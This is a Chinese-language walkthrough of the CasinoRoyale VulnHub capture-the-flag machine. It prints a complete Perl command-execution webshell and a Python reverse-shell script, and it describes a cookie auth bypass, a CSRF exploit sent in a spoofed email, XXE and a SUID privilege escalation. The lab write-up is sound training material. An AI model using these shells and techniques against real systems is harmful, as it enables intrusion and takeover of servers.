CasinoRoyale靶机练习实践报告

news2024/12/25 4:59:07

CasinoRoyale靶机练习实践报告

下载地址:

  • https://drive.google.com/open?id=1FYP246L63zShV00wOckAQ5F5XJ4HkZ0L
  • https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova
  • https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova.torrent ( Magnet)

1 安装靶机

靶机是.ova文件,需要用VirtualBox打开,但我习惯于使用VMWare,因此修改靶机文件,使其适用于VMWare打开。

解压ova文件,得到.ovf文件和.vmdk文件。

img

2 夺旗步骤

第一步:IP扫描,端口扫描,定位靶机的IP地址未192.168.81.133。

img

端口扫描,发现靶机开放端口21、25、80、8081。

img

第二步:目录扫描、域名扫描

img

对IP地址做目录爆破,发现5个可访问地址,逐个访问,发现一个需要用户口令的phpmyadmin地址,用常规口令爆破,失败。用nikto继续做域名发现。

img

对扫描发现的地址逐个查看,未有直接可利用信息。注意nikto攻击提示了一个可能存在的安全问题,经过排查并没法发现可利用。但是有个在192.168.81.133:80/index.php地址有个提示信息,说要用域名访问”casino-royale.local”,不管有没有用,先把该映射关系添加到hosts中。对8081端口做同样的扫描,没有什么重要发现。

img

img

我们在页面的底部发现该网站用了PokerMax Poker 0.13,去exploitdb中搜一下历史漏洞,查看相关漏洞文件6766.txt。

img

img

访问对应configure.php地址,然后在浏览器的console中执行javascript:document.cookie=”ValidUserAdmin=admin”;再次访问configure.php,就可以绕过口令登陆,我们从浏览器中看到的请求报文如下图所示,带上了cookie–>”ValidUserAdmin:admin”。

img

再次访问configure.php界面如下图所示,获得用户名密码。

img

用改密码去登陆phpmyadmin界面失败。继续搜索其他标签页,在Manage Players中发现一个用户,查看他的具体信息。

img

img

提示我们用casino-royale.local域名访问/vip-client-portfolios地址。我们发现该地址也有注册登陆接口,用之前获取的口令尝试,失败,继续查看其他内容,有一篇给新用户的博文写道要用已知的用户发送邮件给valenka@casino-royale.local,他会马上查看,而且会点击links。看起来没什么用,除非能发一个钓鱼邮件给他。

img

思考该网站是否使用了开源框架,该网站使用了Snowfox CMS,在exploitdb中搜索历史漏洞。果然发现了一个csrf漏洞,虽然不知道该网站使用的Snowfox CMS版本,还是试试。

img

根据漏洞描述问题提示去利用,在本机搭建一个apache服务,并将利用html文件放在/var/www/html/目录下,在本地尝试是否可以通过http://ip/CasinoRoyal.html访问该页面。下图标记处exp中需要修改的地方。

img

我们在端口扫描时知道靶机上开放了smtp服务,通过命令行发送邮件给valenka@casino-royale.local,在邮件中添加网址http://ip/CasinoRoyal.html,当valenka点击该地址就会触发创建admin账户,注意,邮件的发送者必须伪造成已知用户。

img

用新创建的admin账户登陆,逐个功能点查看,在账户里发现一个新的地址。

img

img

查看地址/ultra-access-view/main.php的页面源码,发现提示。正好是刚刚学习过的xxe漏洞,提示还说要用post方式传参。还有一句提示说ftp是弱口令。

img

利用hackbar攻击,失败。请教了大神才知道hackbar会对参数做一次url编码,导致后台不认。

img

直接在burp中利用,获取ftp的用户名。为什么在这里想获取口令,而不是直接命令执行获取flag。因为题目告诉我们flag在/root/flag/flag.sh中,通过网站的用户获取权限不够。

img

我们发现ftpUserULTRA是ftp用户名,前面提示过ftp是弱口令,所以爆破咯。而且访问ftp的页面地址也给出来了,是/ultra-access-view。

img

当然是ftp登陆上去查看一番。

img

  • 直接上传一个php木马,然后通过网页访问触发,提示550 permission deny;

  • 上传一个perl木马,然后通过网页触发访问

    • 记得要给脚本可执行权限,否则执行失败
    • Perl脚本还不能直接执行tcp来反弹shell,提示”apache can’t access tty; job control turned off”

img

Perl脚本分享

#!/usr/bin/perl

# PerlKit-0.1 - http://www.t0s.org

# cmd.pl: Run commands on a webserver

use strict;

my ($cmd, %FORM);

$|=1;

print “Content-Type: text/html\r\n”;

print “\r\n”;

# Get parameters

%FORM = parse_parameters($ENV{‘QUERY_STRING’});

if(defined $FORM{‘cmd’}) {

$cmd = $FORM{‘cmd’};

}

print '

';

if(defined $FORM{'cmd'}) {

  print "Results of '$cmd' execution:\n\n";

  print "-"x80;

  print "\n";

  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";



  while() {

​    print;

  }

  close(CMD);

  print "-"x80;

  print "\n";

}

print "
";

sub parse_parameters ($) {

my %ret;

my $input = shift;

foreach my $pair (split(‘&’, $input)) {

​ my ($var, $value) = split(‘=’, $pair, 2);

​ if($var) {

​ $value =~ s/+/ /g ;

​ $value =~ s/%(…)/pack(‘c’,hex($1))/eg;

KaTeX parse error: Expected '}', got 'EOF' at end of input: ret{var} = $value;

​ }

}

return %ret;

}

终于getShell了。

img

权限不够,提权,linux内核提权失败。在各个目录下扫荡,发现关键目录/opt/casino-royale,逐个查看文件,在php-web-start.sh中看到了8081端口,访问看看。

img

img

img

右键查看源码,发现点击data collect按钮会触发collect.php执行,而该php文件会执行casino-data-collection.py。我们唯一能操作的文件就是该py文件,写一个python shell就可以获得用户le的shell,虽然还不是root用户的shell,试试也无妨。

当前shell竟然无法使用vim编辑器,发现大神一篇介绍shell的文章,醍醐灌顶。https://www.anquanke.com/post/id/86444。直接升级netcat的方式尝试失败,使用socat的方式,在已有的shell中再次反弹shell。

img

终于可以使用vim了,下面是python的反弹shell脚本内容。

Import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((“127.0.0.1”,1234));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call([“/bin/sh”,“-i”]);

在页面上点击按钮,获得le的shell。

img

获取le的shell后,查看close2root.txt,出现一个网址,但是没有特别的内容。

继续查看其他文件,mi6_detect_test是elf格式,它是root所有,且设置了s位,执行看看,发现它调用了run.sh,而run.sh是le有权限改的,在该文件末尾打开一个shell,那就是root权限!!!

img

img

root权限get!!!

执行/root/flag/flag.sh,根据提示获取flag。

img

3 总结

  1. 遇到网站务必要看是否使用框架,找框架漏洞,靶机涉及Poker和SnowFox两个框架漏洞
  2. 熟练掌握常见web漏洞利用手法。靶机涉及到xxe漏洞、文件上传漏洞、弱口令、csrf漏洞、不安全的cookie
  3. 储备好webshell等弹药库。靶机涉及python webshell、perl webshell、php webshell(没成功)
  4. 掌握shell提权的方式,如反弹shell变成可交互的shell,普通shell提权为root权限shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1627130.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

乘数而上,创邻科技入选2024数商典型应用场景“乘数榜”

4月18日,由浙江省科学技术协会指导的2024未来数商大会在杭州成功举办。本次大会以“场景突破 乘数而上”为主题,国际国内数商共聚未来科技城学术交流中心,聚焦数据要素市场的制度创新、数据治理、场景应用与生态构建等话题展开研讨。 大会现…

【算法刷题 | 贪心算法04】4.26(跳跃游戏、跳跃游戏||)

文章目录 6.跳跃游戏6.1题目6.2解法:贪心6.2.1贪心思路6.2.2代码实现 7.跳跃游戏||7.1题目7.2解法:贪心7.2.1贪心思路7.2.2代码实现 6.跳跃游戏 6.1题目 给你一个非负整数数组 nums ,你最初位于数组的 第一个下标 。数组中的每个元素代表你…

数据分析:宏基因组分析-从Raw data到profile的简单流程

简介 该宏基因组流程主要有四步,分别是1.检查raw data;2.获得高质量reads;3.合并PE数据;4. reads map到参考数据库得到profile。 初步想法: 先分别撰写每一步的基础脚本,如过滤,mapping等过程…

HarmonyOS实战开发-如何在鸿蒙开发中使用数据库

鸿蒙中的数据库基于SQLite组件,用来处理关系比较复杂的数据,本文将以WORKER表为例,为大家演示在鸿蒙开发中对数据库的增删改查操作。 1、首先导入数据库模块: import relationalStore from ohos.data.relationalStore;2、配置数…

Linux平台Unity下RTMP|RTSP低延迟播放器技术实现

技术背景 国产操作系统对于确保信息安全、促进技术创新、满足特定需求以及推动经济发展等方面都具有重要意义,多以Linux为基础二次开发。2014年4月8日起,美国微软公司停止了对Windows XP SP3操作系统提供支持,这引起了社会和广大用户的广泛关…

从零入门区块链和比特币(第二期)

欢迎来到我的区块链与比特币入门指南!如果你对区块链和比特币感兴趣,但不知道从何开始,那么你来对地方了。本博客将为你提供一个简明扼要的介绍,帮助你了解这个领域的基础知识,并引导你进一步探索这个激动人心的领域。…

四:物联网ARM开发

一:ARM体系结构概述 1:控制外设led灯还有一些按键这些就要用到gpio,采集传感器的数据需要adc进行转化数据格式,特殊的外设和传感器是通过特殊的协议接口去进行连接的比如一些轴传感器和主控器的连接是通过spi,IIC 控制…

Python+Django网站指纹信息侦测探查

程序示例精选 PythonDjango网站指纹信息侦测探查 如需安装运行环境或远程调试,见文章底部个人QQ名片,由专业技术人员远程协助! 前言 这篇博客针对《PythonDjango网站指纹信息侦测探查》编写代码,代码整洁,规则&#…

Docker与Linux容器:“探索容器化技术的奥秘”

目录 一、Docker概述 二、容器技术的起源: 三、Linux容器 四、Docker的出现 五、Docker容器特点: 六、Docker三大概念: 容器: 镜像: 仓库: 七、Docker容器常用命令 一、Docker概述 在云原生时代&…

玩机进阶教程------高通刷机 纯adb脚本操作刷写分区 备份分区的一些简单操作步骤解析

目前来说大多数刷机平台都是使用官方提供的工具。但一般这类工具刷写校验较多。例如小米刷机平台miflash和高通qpst平台。都对于电脑系统刷写环境有一定的要求。而且平台刷写校验md5等等。虽然可以通过修改脚本去除类似校验。但还是有必要了解一些纯adb脚本来刷写9008固件的方法…

智能变频三模正弦波控制器

智能变频三模正弦波控制器 前言一、图片介绍总结 前言 不敢动,完全不敢动。多做笔记,完全了解之后再说吧 一、图片介绍 轮毂电机 主角登场 淘宝关于这款控制器的介绍 当然不同的型号功能不同 学习线插上就会转,可以使用继电器控制通断。 电门…

[论文阅读] 3D感知相关论文简单摘要

Adaptive Fusion of Single-View and Multi-View Depth for Autonomous Driving 提出了一个单、多视图融合深度估计系统,它自适应地集成了高置信度的单视图和多视图结果 动态选择两个分支之间的高置信度区域执行融合 提出了一个双分支网络,即一个以单…

本地生活服务平台哪家强,怎么申请成为服务商?

当下,本地生活服务已经成为了多家互联网大厂布局的重要板块,在巨大的市场需求和强大的资本加持下,不少人都看到了本地生活服务平台广阔的前景和收益空间。在此背景下,许多普通人都跃跃欲试,想要成为本地生活服务商&…

Spark AQE 导致的 Driver OOM问题

背景 最近在做Spark 3.1 升级 Spark 3.5的过程中,遇到了一批SQL在运行的过程中 Driver OOM的情况,排查到是AQE开启导致的问题,再次分析记录一下,顺便了解一下Spark中指标的事件处理情况 结论 SQLAppStatusListener 类在内存中存…

怎么用PHP语言实现远程控制电器

怎么用PHP语言实现远程控制电器呢? 本文描述了使用PHP语言调用HTTP接口,实现控制电器,通过控制电器的电源线路来实现电器控制。 可选用产品:可根据实际场景需求,选择对应的规格 序号设备名称厂商1智能WiFi通断器AC3统…

Vue从0-1学会如何自定义封装v-指令

文章目录 介绍使用1. 理解指令2. 创建自定义指令3. 注册指令4. 使用自定义指令5. 自定义指令的钩子函数6. 传递参数和修饰符7. 总结 介绍 自定义封装 v-指令是 Vue.js 中非常强大的功能之一,它可以让我们扩展 Vue.js 的模板语法,为 HTML 元素添加自定义行…

Kubernetes学习-核心概念篇(一) 初识Kubernetes

🏷️个人主页:牵着猫散步的鼠鼠 🏷️系列专栏:Kubernetes渐进式学习-专栏 🏷️个人学习笔记,若有缺误,欢迎评论区指正 目录 1. 前言 2. 什么是Kubernetes 3. 为什么需要Kubernetes 3.1. 应…

JAVA实现easyExcel批量导入

注解类型描述ExcelProperty导入指定当前字段对应excel中的那一列。可以根据名字或者Index去匹配。当然也可以不写,默认第一个字段就是index0,以此类推。千万注意,要么全部不写,要么全部用index,要么全部用名字去匹配。…

网络安全实训Day15

写在前面 电子垃圾,堂堂恢复连载。本来不想分天数梳理了,但是最后要写实训报告,报告里还要有实训日记记录每日学的东西,干脆发这里留个档,到时候写报告提供一个思路。 网络空间安全实训-渗透测试 渗透测试概述 定义 一…

python flask 假死情况处理+https证书添加

前言 当使用flask编写了后台程序跑在服务器端的时候,有时候虽然后台中显示在运行,但是页面无法访问,出现这个情况可以使用如下方法修改代码,进而防止假死,另外记录下flask下证书的添加。 假死处理 出现进程存在&…